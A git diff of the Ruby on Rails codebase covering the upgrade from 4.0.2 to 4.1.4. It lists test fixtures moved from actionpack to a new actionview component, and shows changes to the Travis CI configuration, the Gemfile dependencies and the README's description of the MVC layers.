 .../test/fixtures/blog_public/subdir/index.html    |    0
 .../test/fixtures/comments/empty.de.html.erb       |    0
 .../test/fixtures/comments/empty.html.builder      |    0
 .../test/fixtures/comments/empty.html.erb          |    0
 .../test/fixtures/comments/empty.xml.erb           |    0
 .../test/fixtures/companies.yml                    |    0
 actionview/test/fixtures/company.rb                |    9 +
 .../test/fixtures/custom_pattern/another.html.erb  |    0
 .../test/fixtures/custom_pattern/html/another.erb  |    0
 .../test/fixtures/custom_pattern/html/path.erb     |    0
 .../test/fixtures/customers/_customer.html.erb     |    0
 .../test/fixtures/customers/_customer.xml.erb      |    1 +
 .../test/fixtures/db_definitions/sqlite.sql        |    0
 actionview/test/fixtures/developer.rb              |    6 +
 .../test/fixtures/developers.yml                   |    0
 .../test/fixtures/developers/_developer.erb        |    0
 .../test/fixtures/developers_projects.yml          |    0
 .../fixtures/digestor/comments/_comment.html.erb   |    0
 .../fixtures/digestor/comments/_comments.html.erb  |    0
 .../test/fixtures/digestor/events/_event.html.erb  |    0
 .../fixtures/digestor/level/_recursion.html.erb    |    0
 .../digestor/level/below}/_header.html.erb         |    0
 .../fixtures/digestor/level/below/index.html.erb   |    0
 .../fixtures/digestor/level/recursion.html.erb     |    0
 .../test/fixtures/digestor/messages/_form.html.erb |    0
 .../fixtures/digestor/messages}/_header.html.erb   |    0
 .../fixtures/digestor/messages/_message.html.erb   |    0
 .../digestor/messages/actions/_move.html.erb       |    0
 .../test/fixtures/digestor/messages/edit.html.erb  |    0
 .../test/fixtures/digestor/messages/index.html.erb |    0
 .../fixtures/digestor/messages/new.html+iphone.erb |   15 +
 .../test/fixtures/digestor/messages/show.html.erb  |   14 +
 .../test/fixtures/fun/games/_game.erb              |    0
 .../test/fixtures/fun/games/hello_world.erb        |    0
 .../test/fixtures/fun/serious/games/_game.erb      |    0
 .../fragment_cached_without_digest.html.erb        |    3 +
 .../test/fixtures/games/_game.erb                  |    0
 .../good_customers/_good_customer.html.erb         |    0
 .../happy_path/render_action/hello_world.erb       |    0
 actionview/test/fixtures/helpers/abc_helper.rb     |    3 +
 .../test/fixtures/helpers/helpery_test_helper.rb   |    0
 .../helpers_missing/invalid_require_helper.rb      |    0
 .../test/fixtures/layout_tests/alt/hello.erb       |    0
 .../test/fixtures/layouts/_column.html.erb         |    0
 actionview/test/fixtures/layouts/_customers.erb    |    1 +
 .../test/fixtures/layouts/_partial_and_yield.erb   |    0
 .../test/fixtures/layouts/_yield_only.erb          |    0
 .../test/fixtures/layouts/_yield_with_params.erb   |    0
 .../test/fixtures/layouts/streaming.erb            |    0
 actionview/test/fixtures/layouts/yield.erb         |    2 +
 .../layouts/yield_with_render_inline_inside.erb    |    0
 .../layouts/yield_with_render_partial_inside.erb   |    0
 {actionpack => actionview}/test/fixtures/mascot.rb |    0
 .../test/fixtures/mascots.yml                      |    0
 .../test/fixtures/mascots/_mascot.html.erb         |    0
 .../test/fixtures/multipart/bracketed_utf8_param   |    5 +
 .../test/fixtures/multipart/single_utf8_param      |    5 +
 .../test/fixtures/override/test/hello_world.erb    |    0
 .../test/fixtures/override2/layouts/test/sub.erb   |    0
 .../test/fixtures/plain_text.raw                   |    0
 .../test/fixtures/plain_text_with_characters.raw   |    0
 .../test/fixtures/project.rb                       |    0
 .../test/fixtures/projects.yml                     |    0
 .../test/fixtures/projects/_project.erb            |    0
 .../test/fixtures/public/.gitignore                |    0
 .../test/fixtures/public/elsewhere/cools.js        |    0
 .../test/fixtures/public/elsewhere/file.css        |    0
 actionview/test/fixtures/public/foo/baz.css        |    3 +
 .../fixtures/public/javascripts/application.js     |    0
 .../test/fixtures/public/javascripts/bank.js       |    0
 .../fixtures/public/javascripts/common.javascript  |    0
 .../test/fixtures/public/javascripts/controls.js   |    0
 .../test/fixtures/public/javascripts/dragdrop.js   |    0
 .../test/fixtures/public/javascripts/effects.js    |    0
 .../test/fixtures/public/javascripts/prototype.js  |    0
 .../test/fixtures/public/javascripts/robber.js     |    0
 .../fixtures/public/javascripts/subdir/subdir.js   |    0
 .../fixtures/public/javascripts/version.1.0.js     |    0
 .../test/fixtures/public/stylesheets/bank.css      |    0
 .../test/fixtures/public/stylesheets/random.styles |    0
 .../test/fixtures/public/stylesheets/robber.css    |    0
 .../fixtures/public/stylesheets/subdir/subdir.css  |    0
 .../fixtures/public/stylesheets/version.1.0.css    |    0
 .../test/fixtures/replies.yml                      |    0
 .../test/fixtures/replies/_reply.erb               |    0
 {actionpack => actionview}/test/fixtures/reply.rb  |    0
 .../respond_to/using_defaults_with_all.html.erb    |    1 +
 actionview/test/fixtures/ruby_template.ruby        |    2 +
 .../test/fixtures/scope/test/modgreet.erb          |    0
 actionview/test/fixtures/shared.html.erb           |    1 +
 .../test/fixtures/test/_200.html.erb               |    0
 .../fixtures/test/_b_layout_for_partial.html.erb   |    0
 .../_b_layout_for_partial_with_object.html.erb     |    0
 ...layout_for_partial_with_object_counter.html.erb |    0
 .../test/fixtures/test/_changing_priority.html.erb |    1 +
 .../test/fixtures/test/_changing_priority.json.erb |    1 +
 .../test/_content_tag_nested_in_content_tag.erb    |    0
 actionview/test/fixtures/test/_counter.html.erb    |    1 +
 actionview/test/fixtures/test/_customer.erb        |    1 +
 .../test/fixtures/test/_customer_greeting.erb      |    1 +
 .../test/fixtures/test/_customer_with_var.erb      |    1 +
 .../test/_directory/_partial_with_locales.html.erb |    1 +
 .../fixtures/test/_first_json_partial.json.erb     |    1 +
 .../test/fixtures/test/_from_helper.erb            |    0
 .../fixtures/test/_json_change_priority.json.erb   |    0
 .../test/fixtures/test/_label_with_block.erb       |    0
 .../test/_layout_for_block_with_args.html.erb      |    0
 .../fixtures/test/_layout_for_partial.html.erb     |    3 +
 .../test/_layout_with_partial_and_yield.html.erb   |    0
 .../test/fixtures/test/_local_inspector.html.erb   |    0
 .../test/fixtures/test/_object_inspector.erb       |    0
 .../test/fixtures/test/_one.html.erb               |    0
 actionview/test/fixtures/test/_partial.erb         |    1 +
 actionview/test/fixtures/test/_partial.html.erb    |    1 +
 actionview/test/fixtures/test/_partial.js.erb      |    1 +
 .../test/_partial_for_use_in_layout.html.erb       |    1 +
 .../fixtures/test/_partial_name_local_variable.erb |    1 +
 actionview/test/fixtures/test/_partial_only.erb    |    1 +
 .../test/fixtures/test/_partial_with_layout.erb    |    0
 .../test/_partial_with_layout_block_content.erb    |    0
 .../test/_partial_with_layout_block_partial.erb    |    0
 .../test/_partial_with_only_html_version.html.erb  |    0
 .../test/fixtures/test/_partial_with_partial.erb   |    2 +
 .../test/fixtures/test/_raise.html.erb             |    0
 .../test/fixtures/test/_raise_indentation.html.erb |   13 +
 .../fixtures/test/_second_json_partial.json.erb    |    1 +
 .../test/fixtures/test/_two.html.erb               |    0
 .../test/fixtures/test/_utf8_partial.html.erb      |    0
 .../fixtures/test/_utf8_partial_magic.html.erb     |    0
 .../test/fixtures/test/basic.html.erb              |    0
 .../test/calling_partial_with_layout.html.erb      |    1 +
 .../test/fixtures/test/change_priority.html.erb    |    2 +
 .../test/fixtures/test/dont_pick_me                |    0
 .../test/dot.directory/render_file_with_ivar.erb   |    1 +
 actionview/test/fixtures/test/greeting.xml.erb     |    1 +
 actionview/test/fixtures/test/hello.builder        |    4 +
 .../test/fixtures/test/hello/hello.erb             |    0
 .../test/fixtures/test/hello_world.da.html.erb     |    0
 .../test/fixtures/test}/hello_world.erb            |    0
 .../test/fixtures/test/hello_world.erb~            |    0
 .../test/fixtures/test/hello_world.html+phone.erb  |    1 +
 .../test/fixtures/test/hello_world.pt-BR.html.erb  |    0
 .../test/fixtures/test/hello_world.text+phone.erb  |    1 +
 .../test/hello_world_with_partial.html.erb         |    2 +
 .../test/fixtures/test/html_template.html.erb      |    1 +
 .../test/fixtures/test/layout_render_file.erb      |    0
 .../test/fixtures/test/layout_render_object.erb    |    0
 actionview/test/fixtures/test/list.erb             |    1 +
 .../fixtures/test/malformed/malformed.en.html.erb~ |    0
 .../test/fixtures/test/malformed/malformed.erb~    |    0
 .../fixtures/test/malformed/malformed.html.erb~    |    0
 .../test/fixtures/test/malformed/malformed~        |    0
 .../test/fixtures/test/nested_layout.erb           |    0
 .../test/fixtures/test/nested_streaming.erb        |    0
 .../test/fixtures/test/one.html.erb                |    0
 .../test/fixtures/test/render_file_with_ivar.erb   |    1 +
 .../test/fixtures/test/render_file_with_locals.erb |    1 +
 .../test/render_file_with_locals_and_default.erb   |    1 +
 .../test/render_partial_inside_directory.html.erb  |    1 +
 .../fixtures/test/render_two_partials.html.erb     |    2 +
 .../test/fixtures/test/streaming.erb               |    0
 .../test/fixtures/test/streaming_buster.erb        |    0
 .../test/fixtures/test/sub_template_raise.html.erb |    0
 .../test/fixtures/test/template.erb                |    0
 .../fixtures/test/update_element_with_capture.erb  |    0
 .../test/fixtures/test/utf8.html.erb               |    0
 .../test/fixtures/test/utf8_magic.html.erb         |    0
 .../test/utf8_magic_with_bare_partial.html.erb     |    0
 {actionpack => actionview}/test/fixtures/topic.rb  |    0
 .../test/fixtures/topics.yml                       |    0
 .../test/fixtures/topics/_topic.html.erb           |    0
 .../test/fixtures/translations/templates/array.erb |    0
 .../fixtures/translations/templates/default.erb    |    0
 .../test/fixtures/translations/templates/found.erb |    0
 .../fixtures/translations/templates/missing.erb    |    0
 .../test/fixtures/with_format.json.erb             |    0
 actionview/test/lib/controller/fake_models.rb      |  185 +
 .../test/template/active_model_helper_test.rb      |    0
 actionview/test/template/asset_tag_helper_test.rb  |  762 ++++
 .../test/template/atom_feed_helper_test.rb         |    0
 .../test/template/capture_helper_test.rb           |    0
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 actionview/test/template/erb_util_test.rb          |  106 +
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 actionview/test/template/javascript_helper_test.rb |   69 +
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 actionview/test/template/lookup_context_test.rb    |  282 ++
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 actionview/test/template/template_test.rb          |  200 +
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 actionview/test/template/text_helper_test.rb       |  487 +++
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 .../test/tmp/.gitkeep                              |    0
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 .../deprecated_mass_assignment_security_test.rb    |   16 -
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 activemodel/test/cases/validations_test.rb         |   81 +-
 activemodel/test/models/administrator.rb           |   11 -
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 activemodel/test/models/oauthed_user.rb            |   11 -
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 activemodel/test/models/user.rb                    |    2 +-
 activerecord/CHANGELOG.md                          | 2923 +++++++--------
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 .../has_and_belongs_to_many_association.rb         |   65 -
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 .../associations/join_dependency/join_part.rb      |   55 +-
 .../lib/active_record/associations/join_helper.rb  |   45 -
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 .../preloader/has_and_belongs_to_many.rb           |   60 -
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 activerecord/lib/active_record/railtie.rb          |   69 +-
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 .../lib/active_record/readonly_attributes.rb       |    6 -
 activerecord/lib/active_record/reflection.rb       |  300 +-
 activerecord/lib/active_record/relation.rb         |  156 +-
 activerecord/lib/active_record/relation/batches.rb |  104 +-
 .../lib/active_record/relation/calculations.rb     |   97 +-
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 activerecord/lib/active_record/relation/merger.rb  |   47 +-
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 .../relation/predicate_builder/array_handler.rb    |   29 +
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 .../lib/active_record/relation/query_methods.rb    |  245 +-
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 activerecord/lib/active_record/result.rb           |   51 +-
 activerecord/lib/active_record/runtime_registry.rb |    5 +
 activerecord/lib/active_record/sanitization.rb     |   17 +-
 activerecord/lib/active_record/schema_dumper.rb    |   21 +-
 activerecord/lib/active_record/schema_migration.rb |   42 +-
 activerecord/lib/active_record/scoping.rb          |    5 +
 activerecord/lib/active_record/scoping/default.rb  |   23 +-
 activerecord/lib/active_record/scoping/named.rb    |   43 +-
 activerecord/lib/active_record/store.rb            |   85 +-
 .../lib/active_record/tasks/database_tasks.rb      |   78 +-
 .../active_record/tasks/firebird_database_tasks.rb |   56 -
 .../active_record/tasks/mysql_database_tasks.rb    |    3 +-
 .../active_record/tasks/oracle_database_tasks.rb   |   45 -
 .../tasks/postgresql_database_tasks.rb             |    2 +-
 .../tasks/sqlserver_database_tasks.rb              |   48 -
 activerecord/lib/active_record/test_case.rb        |   96 -
 activerecord/lib/active_record/timestamp.rb        |   16 +-
 activerecord/lib/active_record/transactions.rb     |   30 +-
 .../lib/active_record/validations/presence.rb      |    4 +-
 .../lib/active_record/validations/uniqueness.rb    |   36 +-
 activerecord/lib/active_record/version.rb          |   11 +-
 activerecord/lib/rails/generators/active_record.rb |   10 +-
 .../rails/generators/active_record/migration.rb    |   18 +
 .../active_record/migration/migration_generator.rb |    4 +
 .../active_record/model/model_generator.rb         |    4 +
 activerecord/test/cases/adapter_test.rb            |   64 +-
 .../cases/adapters/firebird/connection_test.rb     |    8 -
 .../test/cases/adapters/firebird/default_test.rb   |   16 -
 .../test/cases/adapters/firebird/migration_test.rb |  124 -
 .../test/cases/adapters/mysql/connection_test.rb   |   37 +-
 .../cases/adapters/mysql/mysql_adapter_test.rb     |   14 +-
 .../cases/adapters/mysql/reserved_word_test.rb     |    2 +-
 .../test/cases/adapters/mysql/schema_test.rb       |   38 +
 .../cases/adapters/mysql/statement_pool_test.rb    |   24 +-
 .../test/cases/adapters/mysql2/boolean_test.rb     |   91 +
 .../test/cases/adapters/mysql2/connection_test.rb  |   35 +-
 .../test/cases/adapters/mysql2/explain_test.rb     |    6 +-
 .../cases/adapters/mysql2/reserved_word_test.rb    |    2 +-
 .../adapters/mysql2/schema_migrations_test.rb      |   25 +-
 .../test/cases/adapters/mysql2/schema_test.rb      |    9 +
 .../test/cases/adapters/oracle/synonym_test.rb     |   17 -
 .../adapters/postgresql/active_schema_test.rb      |    6 +-
 .../test/cases/adapters/postgresql/array_test.rb   |  121 +-
 .../test/cases/adapters/postgresql/bytea_test.rb   |    6 +-
 .../cases/adapters/postgresql/composite_test.rb    |   42 +
 .../cases/adapters/postgresql/connection_test.rb   |   56 +-
 .../cases/adapters/postgresql/datatype_test.rb     |  422 +--
 .../postgresql/extension_migration_test.rb         |   65 +
 .../test/cases/adapters/postgresql/hstore_test.rb  |  350 +-
 .../test/cases/adapters/postgresql/json_test.rb    |   37 +-
 .../adapters/postgresql/postgresql_adapter_test.rb |  249 +-
 .../test/cases/adapters/postgresql/quoting_test.rb |   13 +-
 .../test/cases/adapters/postgresql/range_test.rb   |  276 ++
 .../test/cases/adapters/postgresql/schema_test.rb  |   44 +
 .../adapters/postgresql/statement_pool_test.rb     |   56 +-
 .../cases/adapters/postgresql/timestamp_test.rb    |   14 +-
 .../test/cases/adapters/postgresql/uuid_test.rb    |   94 +-
 .../test/cases/adapters/postgresql/xml_test.rb     |    2 +-
 .../test/cases/adapters/sqlite3/copy_table_test.rb |    2 +-
 .../test/cases/adapters/sqlite3/quoting_test.rb    |    7 +
 .../cases/adapters/sqlite3/sqlite3_adapter_test.rb |   72 +-
 .../adapters/sqlite3/sqlite3_create_folder_test.rb |    2 +-
 .../cases/adapters/sqlite3/statement_pool_test.rb  |   23 +-
 .../cases/associations/association_scope_test.rb   |    5 +-
 .../associations/belongs_to_associations_test.rb   |   99 +-
 .../test/cases/associations/callbacks_test.rb      |   21 +
 .../associations/cascaded_eager_loading_test.rb    |   21 +-
 .../associations/eager_singularization_test.rb     |  195 +-
 activerecord/test/cases/associations/eager_test.rb |  115 +-
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 .../has_and_belongs_to_many_associations_test.rb   |  212 +-
 .../associations/has_many_associations_test.rb     |  496 +--
 .../has_many_through_associations_test.rb          |  232 +-
 .../associations/has_one_associations_test.rb      |   70 +-
 .../has_one_through_associations_test.rb           |   11 +-
 .../associations/inner_join_association_test.rb    |   21 +-
 .../associations/inverse_associations_test.rb      |   98 +-
 .../cases/associations/join_dependency_test.rb     |    8 -
 .../nested_through_associations_test.rb            |   13 +-
 activerecord/test/cases/associations_test.rb       |   15 +-
 .../test/cases/attribute_methods/read_test.rb      |    4 +-
 activerecord/test/cases/attribute_methods_test.rb  |  125 +-
 .../test/cases/autosave_association_test.rb        |  123 +-
 activerecord/test/cases/base_test.rb               |  397 +-
 activerecord/test/cases/batches_test.rb            |   71 +-
 activerecord/test/cases/bind_parameter_test.rb     |   77 +-
 activerecord/test/cases/calculations_test.rb       |   88 +-
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 activerecord/test/cases/column_definition_test.rb  |    4 +-
 activerecord/test/cases/column_test.rb             |    8 +
 .../connection_adapters/connection_handler_test.rb |  193 +
 .../test/cases/connection_management_test.rb       |   34 +-
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 .../connection_specification/resolver_test.rb      |   95 +-
 activerecord/test/cases/core_test.rb               |   33 +
 activerecord/test/cases/counter_cache_test.rb      |   13 +
 activerecord/test/cases/date_time_test.rb          |    2 +-
 activerecord/test/cases/defaults_test.rb           |   25 +
 .../test/cases/deprecated_dynamic_methods_test.rb  |  592 ---
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 activerecord/test/cases/disconnected_test.rb       |   11 +-
 activerecord/test/cases/dup_test.rb                |    2 +-
 activerecord/test/cases/enum_test.rb               |  289 ++
 activerecord/test/cases/finder_respond_to_test.rb  |   45 +-
 activerecord/test/cases/finder_test.rb             |  348 +-
 activerecord/test/cases/fixture_set/file_test.rb   |   55 +
 activerecord/test/cases/fixtures_test.rb           |  104 +-
 .../cases/forbidden_attributes_protection_test.rb  |    5 +
 activerecord/test/cases/helper.rb                  |   93 +-
 activerecord/test/cases/hot_compatibility_test.rb  |    2 +-
 activerecord/test/cases/inheritance_test.rb        |   28 +-
 activerecord/test/cases/integration_test.rb        |  138 +
 activerecord/test/cases/invalid_connection_test.rb |    2 +-
 .../test/cases/invertible_migration_test.rb        |   31 +
 activerecord/test/cases/locking_test.rb            |   19 +-
 activerecord/test/cases/log_subscriber_test.rb     |   24 +-
 .../test/cases/migration/change_schema_test.rb     |   54 +-
 .../test/cases/migration/change_table_test.rb      |    2 +-
 .../test/cases/migration/column_attributes_test.rb |   91 +-
 .../cases/migration/column_positioning_test.rb     |   47 +-
 .../test/cases/migration/command_recorder_test.rb  |   19 +-
 activerecord/test/cases/migration/index_test.rb    |   66 +-
 .../test/cases/migration/references_index_test.rb  |   28 +-
 .../test/cases/migration/rename_table_test.rb      |   48 +-
 activerecord/test/cases/migration_test.rb          |  378 +-
 activerecord/test/cases/migrator_test.rb           |    6 -
 activerecord/test/cases/mixin_test.rb              |   46 +-
 activerecord/test/cases/modules_test.rb            |    1 +
 .../test/cases/multiparameter_attributes_test.rb   |  168 +-
 activerecord/test/cases/multiple_db_test.rb        |    2 +-
 activerecord/test/cases/nested_attributes_test.rb  |   18 -
 .../cases/nested_attributes_with_callbacks_test.rb |  144 +
 activerecord/test/cases/persistence_test.rb        |   74 +-
 activerecord/test/cases/pooled_connections_test.rb |   16 -
 activerecord/test/cases/primary_keys_test.rb       |   51 +-
 activerecord/test/cases/query_cache_test.rb        |   24 +-
 activerecord/test/cases/quoting_test.rb            |   69 +-
 activerecord/test/cases/readonly_test.rb           |   18 +-
 activerecord/test/cases/reaper_test.rb             |    2 +-
 activerecord/test/cases/reflection_test.rb         |   32 +-
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 .../application/initializers/load_path_test.rb     |   20 +-
 .../application/initializers/notifications_test.rb |   13 +
 railties/test/application/loading_test.rb          |   26 +-
 railties/test/application/mailer_previews_test.rb  |  428 +++
 railties/test/application/middleware/cache_test.rb |    2 +-
 .../test/application/middleware/session_test.rb    |   14 +-
 railties/test/application/middleware_test.rb       |   24 +-
 .../test/application/multiple_applications_test.rb |  174 +
 railties/test/application/rake/dbs_test.rb         |   34 +-
 railties/test/application/rake/migrations_test.rb  |   31 +
 railties/test/application/rake/notes_test.rb       |    8 +-
 railties/test/application/rake_test.rb             |   80 +-
 railties/test/application/rendering_test.rb        |    2 +-
 railties/test/application/routing_test.rb          |   30 +-
 railties/test/application/test_runner_test.rb      |   20 +-
 railties/test/application/test_test.rb             |   84 +-
 railties/test/application/url_generation_test.rb   |    3 +-
 railties/test/commands/dbconsole_test.rb           |   96 +-
 railties/test/commands/server_test.rb              |   58 +-
 .../configuration/middleware_stack_proxy_test.rb   |    4 +-
 railties/test/env_helpers.rb                       |    4 +
 railties/test/generators/actions_test.rb           |    2 +-
 railties/test/generators/app_generator_test.rb     |  158 +-
 railties/test/generators/argv_scrubber_test.rb     |  136 +
 .../test/generators/controller_generator_test.rb   |   13 +-
 railties/test/generators/create_migration_test.rb  |  134 +
 .../test/generators/generator_generator_test.rb    |   12 +
 railties/test/generators/generator_test.rb         |   85 +
 railties/test/generators/generators_test_helper.rb |    9 +-
 railties/test/generators/mailer_generator_test.rb  |   61 +-
 railties/test/generators/named_base_test.rb        |   19 +
 .../test/generators/namespaced_generators_test.rb  |    4 +-
 railties/test/generators/plugin_generator_test.rb  |  375 ++
 .../test/generators/plugin_new_generator_test.rb   |  350 --
 .../scaffold_controller_generator_test.rb          |   10 +-
 railties/test/generators/shared_generator_tests.rb |   28 +-
 railties/test/generators/task_generator_test.rb    |   14 +-
 railties/test/generators_test.rb                   |    6 +-
 railties/test/initializable_test.rb                |   10 +-
 railties/test/isolation/abstract_unit.rb           |   33 +-
 railties/test/paths_test.rb                        |    4 +-
 railties/test/rack_logger_test.rb                  |    8 +-
 railties/test/rails_info_test.rb                   |    5 +
 railties/test/railties/engine_test.rb              |   35 +-
 railties/test/railties/mounted_engine_test.rb      |    2 +-
 railties/test/railties/railtie_test.rb             |   33 +-
 railties/test/test_info_test.rb                    |    1 +
 railties/test/version_test.rb                      |   12 +
 tasks/release.rb                                   |   54 +-
 version.rb                                         |    9 +-
 1910 files changed, 110907 insertions(+), 50151 deletions(-)

diff --git a/.travis.yml b/.travis.yml
index 17851c4..e5aaf57 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -1,22 +1,27 @@
 script: 'ci/travis.rb'
 before_install:
-  - gem install bundler
+  - travis_retry gem install bundler
+  - "rvm current | grep 'jruby' && export AR_JDBC=true || echo"
 rvm:
   - 1.9.3
   - 2.0.0
-  - jruby-19mode
-  - rbx-19mode
+  - 2.1
+  - ruby-head
+  - rbx-2
+  - jruby
 env:
   - "GEM=railties"
-  - "GEM=ap,am,amo,as"
+  - "GEM=ap,am,amo,as,av"
   - "GEM=ar:mysql"
   - "GEM=ar:mysql2"
   - "GEM=ar:sqlite3"
   - "GEM=ar:postgresql"
 matrix:
   allow_failures:
-    - rvm: jruby-19mode
-    - rvm: rbx-19mode
+    - rvm: rbx-2
+    - rvm: jruby
+    - rvm: ruby-head
+  fast_finish: true
 notifications:
   email: false
   irc:
@@ -30,3 +35,5 @@ notifications:
     rooms:
       - secure: "YA1alef1ESHWGFNVwvmVGCkMe4cUy4j+UcNvMUESraceiAfVyRMAovlQBGs6\n9kBRm7DHYBUXYC2ABQoJbQRLDr/1B5JPf/M8+Qd7BKu8tcDC03U01SMHFLpO\naOs/HLXcDxtnnpL07tGVsm0zhMc5N8tq4/L3SHxK7Vi+TacwQzI="
 bundler_args: --path vendor/bundle --without test
+services:
+  - memcached
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index 6d3cf07..19b7b63 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -4,6 +4,8 @@ Ruby on Rails is a volunteer effort. We encourage you to pitch in. [Join the tea
 
 * If you want to submit a patch, please read the [Contributing to Ruby on Rails](http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html) guide.
 
+* If you want to contribute to Rails documentation, please read the [Contributing to the Rails Documentation](http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#contributing-to-the-rails-documentation) section of the aforementioned guide.
+
 *We only accept bug reports and pull requests in GitHub*.
 
 * If you have a question about how to use Ruby on Rails, please [ask the rubyonrails-talk mailing list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-talk).
diff --git a/Gemfile b/Gemfile
index 4aae46f..3314e9c 100644
--- a/Gemfile
+++ b/Gemfile
@@ -2,18 +2,27 @@ source 'https://rubygems.org'
 
 gemspec
 
-gem 'mocha', '~> 0.13.0', require: false
+# This needs to be with require false as it is
+# loaded after loading the test library to
+# ensure correct loading order
+gem 'mocha', '~> 0.14', require: false
+
 gem 'rack-cache', '~> 1.2'
-gem 'bcrypt-ruby', '~> 3.1.2'
-gem 'jquery-rails', '~> 2.2.0'
+gem 'jquery-rails', '~> 3.1.0'
 gem 'turbolinks'
+gem 'coffee-rails', '~> 4.0.0'
+
+# require: false so bcrypt is loaded only when has_secure_password is used.
+# This is to avoid ActiveModel (and by extension the entire framework)
+# being dependent on a binary library.
+gem 'bcrypt', '~> 3.1.7', require: false
 
 # This needs to be with require false to avoid
 # it being automatically loaded by sprockets
 gem 'uglifier', '>= 1.3.0', require: false
 
 group :doc do
-  gem 'sdoc'
+  gem 'sdoc', '~> 0.4.0'
   gem 'redcarpet', '~> 2.2.2', platforms: :ruby
   gem 'w3c_validators'
   gem 'kindlerb'
@@ -24,22 +33,24 @@ gem 'dalli', '>= 2.2.1'
 
 # Add your own local bundler stuff
 local_gemfile = File.dirname(__FILE__) + "/.Gemfile"
-instance_eval File.read local_gemfile if File.exists? local_gemfile
+instance_eval File.read local_gemfile if File.exist? local_gemfile
 
 group :test do
+  # FIX: Our test suite isn't ready to run in random order yet
+  gem 'minitest', '< 5.3.4'
+
   platforms :mri_19 do
     gem 'ruby-prof', '~> 0.11.2'
   end
 
-  platforms :mri_19, :mri_20 do
-    gem 'debugger'
-  end
+  # platforms :mri_19, :mri_20 do
+  #   gem 'debugger'
+  # end
 
   gem 'benchmark-ips'
 end
 
 platforms :ruby do
-  gem 'yajl-ruby'
   gem 'nokogiri', '>= 1.4.5'
 
   # Needed for compiling the ActionDispatch::Journey parser
@@ -51,17 +62,24 @@ platforms :ruby do
   group :db do
     gem 'pg', '>= 0.11.0'
     gem 'mysql', '>= 2.9.0'
-    gem 'mysql2', '>= 0.3.10'
+    gem 'mysql2', '>= 0.3.13'
   end
 end
 
 platforms :jruby do
   gem 'json'
-  gem 'activerecord-jdbcsqlite3-adapter', '>= 1.3.0'
-
-  group :db do
-    gem 'activerecord-jdbcmysql-adapter', '>= 1.3.0'
-    gem 'activerecord-jdbcpostgresql-adapter', '>= 1.3.0'
+  if ENV['AR_JDBC']
+    gem 'activerecord-jdbcsqlite3-adapter', github: 'jruby/activerecord-jdbc-adapter', branch: 'master'
+    group :db do
+      gem 'activerecord-jdbcmysql-adapter', github: 'jruby/activerecord-jdbc-adapter', branch: 'master'
+      gem 'activerecord-jdbcpostgresql-adapter', github: 'jruby/activerecord-jdbc-adapter', branch: 'master'
+    end
+  else
+    gem 'activerecord-jdbcsqlite3-adapter', '>= 1.3.0'
+    group :db do
+      gem 'activerecord-jdbcmysql-adapter', '>= 1.3.0'
+      gem 'activerecord-jdbcpostgresql-adapter', '>= 1.3.0'
+    end
   end
 end
 
diff --git a/RAILS_VERSION b/RAILS_VERSION
index 4d54dad..a95f288 100644
--- a/RAILS_VERSION
+++ b/RAILS_VERSION
@@ -1 +1 @@
-4.0.2
+4.1.4
diff --git a/README.md b/README.md
index 31ee4c1..7f07953 100644
--- a/README.md
+++ b/README.md
@@ -8,11 +8,6 @@ pattern.
 Understanding the MVC pattern is key to understanding Rails. MVC divides your
 application into three layers, each with a specific responsibility.
 
-The _View layer_ is composed of "templates" that are responsible for providing
-appropriate representations of your application's resources. Templates can
-come in a variety of formats, but most view templates are HTML with embedded
-Ruby code (ERB files).
-
 The _Model layer_ represents your domain model (such as Account, Product,
 Person, Post, etc.) and encapsulates the business logic that is specific to
 your application. In Rails, database-backed model classes are derived from
@@ -24,16 +19,26 @@ as provided by the Active Model module. You can read more about Active Record
 in its [README](activerecord/README.rdoc).
 
 The _Controller layer_ is responsible for handling incoming HTTP requests and
-providing a suitable response. Usually this means returning HTML, but Rails
-controllers can also generate XML, JSON, PDFs, mobile-specific views, and
-more. Controllers manipulate models and render view templates in order to
-generate the appropriate HTTP response.
+providing a suitable response. Usually this means returning HTML, but Rails controllers
+can also generate XML, JSON, PDFs, mobile-specific views, and more. Controllers load and
+manipulate models, and render view templates in order to generate the appropriate HTTP response.
+In Rails, incoming requests are routed by Action Dispatch to an appropriate controller, and
+controller classes are derived from `ActionController::Base`. Action Dispatch and Action Controller
+are bundled together in Action Pack. You can read more about Action Pack in its
+[README](actionpack/README.rdoc).
+
+The _View layer_ is composed of "templates" that are responsible for providing
+appropriate representations of your application's resources. Templates can
+come in a variety of formats, but most view templates are HTML with embedded
+Ruby code (ERB files). Views are typically rendered to generate a controller response,
+or to generate the body of an email. In Rails, View generation is handled by Action View.
+You can read more about Action View in its [README](actionview/README.rdoc).
 
-In Rails, the Controller and View layers are handled together by Action Pack.
-These two layers are bundled in a single package due to their heavy interdependence.
-This is unlike the relationship between Active Record and Action Pack, which are
-independent. Each of these packages can be used independently outside of Rails. You
-can read more about Action Pack in its [README](actionpack/README.rdoc).
+Active Record, Action Pack, and Action View can each be used independently outside Rails.
+In addition to them, Rails also comes with Action Mailer ([README](actionmailer/README.rdoc)), a library
+to generate and send emails; and Active Support ([README](activesupport/README.rdoc)), a collection of
+utility classes and standard library extensions that are useful for Rails, and may also be used
+independently outside Rails.
 
 ## Getting Started
 
@@ -54,7 +59,8 @@ can read more about Action Pack in its [README](actionpack/README.rdoc).
 
    Run with `--help` or `-h` for options.
 
-4. Go to http://localhost:3000 and you'll see: "Welcome aboard: You're riding Ruby on Rails!"
+4. Using a browser, go to `http://localhost:3000` and you'll see:
+"Welcome aboard: You're riding Ruby on Rails!"
 
 5. Follow the guidelines to start developing your application. You may find
    the following resources handy:
@@ -70,8 +76,7 @@ We encourage you to contribute to Ruby on Rails! Please check out the
 
 ## Code Status
 
-* [![Build Status](https://api.travis-ci.org/rails/rails.png)](https://travis-ci.org/rails/rails)
-* [![Dependencies](https://gemnasium.com/rails/rails.png?travis)](https://gemnasium.com/rails/rails)
+* [![Build Status](https://travis-ci.org/rails/rails.png?branch=master)](https://travis-ci.org/rails/rails)
 
 ## License
 
diff --git a/RELEASING_RAILS.rdoc b/RELEASING_RAILS.rdoc
index 6f8c79e..9b06d0d 100644
--- a/RELEASING_RAILS.rdoc
+++ b/RELEASING_RAILS.rdoc
@@ -110,10 +110,10 @@ what to do in case anything goes wrong:
 
     $ rake all:build
